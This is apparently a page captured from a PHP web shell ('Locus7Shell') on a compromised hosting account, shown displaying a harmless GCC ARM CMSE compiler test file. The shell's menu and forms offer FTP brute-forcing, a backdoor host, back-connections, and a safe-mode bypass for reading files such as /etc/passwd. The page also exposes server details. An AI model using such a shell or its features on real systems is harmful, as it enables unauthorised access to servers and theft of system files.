Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/arm/cmse/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cmse-15.c (2.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile } */
/* { dg-options "-mcmse" } */
/* ARMv8-M expectation with target { ! arm_cmse_clear_ok }.  */
/* ARMv8.1-M expectation with target arm_cmse_clear_ok.  */
/* { dg-final { check-function-bodies "**" "" "" } } */

int __attribute__ ((cmse_nonsecure_call)) (*ns_foo) (void);
int (*s_bar) (void);
int __attribute__ ((cmse_nonsecure_call)) (**ns_foo2) (void);
int (**s_bar2) (void);

typedef int __attribute__ ((cmse_nonsecure_call)) ns_foo_t (void);
typedef int s_bar_t (void);
typedef int __attribute__ ((cmse_nonsecure_call)) (* ns_foo_ptr) (void);
typedef int (*s_bar_ptr) (void);

/*
** nonsecure0:  { target arm_cmse_clear_ok }
**    ...
**    blxns    r[0-3]
**    ...
*/
/*
** nonsecure0: { target { ! arm_cmse_clear_ok } }
**    ...
**    bl    __gnu_cmse_nonsecure_call
**    ...
*/
int nonsecure0 (ns_foo_t * ns_foo_p)
{
  return ns_foo_p ();
}

/*
** nonsecure1:  { target arm_cmse_clear_ok }
**    ...
**    blxns    r[0-3]
**    ...
*/
/*
** nonsecure1: { target { ! arm_cmse_clear_ok } }
**    ...
**    bl    __gnu_cmse_nonsecure_call
**    ...
*/
int nonsecure1 (ns_foo_t ** ns_foo_p)
{
  return (*ns_foo_p) ();
}

/*
** nonsecure2:  { target arm_cmse_clear_ok }
**    ...
** (
**    blxns    r[0-3]
** |
**    b    nonsecure0
** )
**    ...
*/
/*
** nonsecure2: { target { ! arm_cmse_clear_ok } }
**    ...
** (
**    bl    __gnu_cmse_nonsecure_call
** |
**    b    nonsecure0
** )
**    ...
*/
int nonsecure2 (ns_foo_ptr ns_foo_p)
{
  return ns_foo_p ();
}

/*
** nonsecure3:  { target arm_cmse_clear_ok }
**    ...
**    blxns    r[0-3]
**    ...
*/
/*
** nonsecure3: { target { ! arm_cmse_clear_ok } }
**    ...
**    bl    __gnu_cmse_nonsecure_call
**    ...
*/
int nonsecure3 (ns_foo_ptr * ns_foo_p)
{
  return (*ns_foo_p) ();
}

/*
** secure0:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** )
**    ...
*/
int secure0 (s_bar_t * s_bar_p)
{
  return s_bar_p ();
}

/*
** secure1:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** )
**    ...
*/
int secure1 (s_bar_t ** s_bar_p)
{
  return (*s_bar_p) ();
}

/*
** secure2:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** |
**    b    secure0
** )
**    ...
*/
int secure2 (s_bar_ptr s_bar_p)
{
  return s_bar_p ();
}

/*
** secure3:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** )
**    ...
*/
int secure3 (s_bar_ptr * s_bar_p)
{
  return (*s_bar_p) ();
}

/*
** nonsecure4:  { target arm_cmse_clear_ok }
**    ...
**    blxns    r[0-3]
**    ...
*/
/*
** nonsecure4: { target { ! arm_cmse_clear_ok } }
**    ...
**    bl    __gnu_cmse_nonsecure_call
**    ...
*/
int nonsecure4 (void)
{
  return ns_foo ();
}

/*
** nonsecure5:  { target arm_cmse_clear_ok }
**    ...
**    blxns    r[0-3]
**    ...
*/
/*
** nonsecure5: { target { ! arm_cmse_clear_ok } }
**    ...
**    bl    __gnu_cmse_nonsecure_call
**    ...
*/
int nonsecure5 (void)
{
  return (*ns_foo2) ();
}

/*
** secure4:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** )
**    ...
*/
int secure4 (void)
{
  return s_bar ();
}

/*
** secure5:
**    ...
** (
**    bx    r[0-3]
** |
**    blx    r[0-3]
** )
**    ...
*/
int secure5 (void)
{
  return (*s_bar2) ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--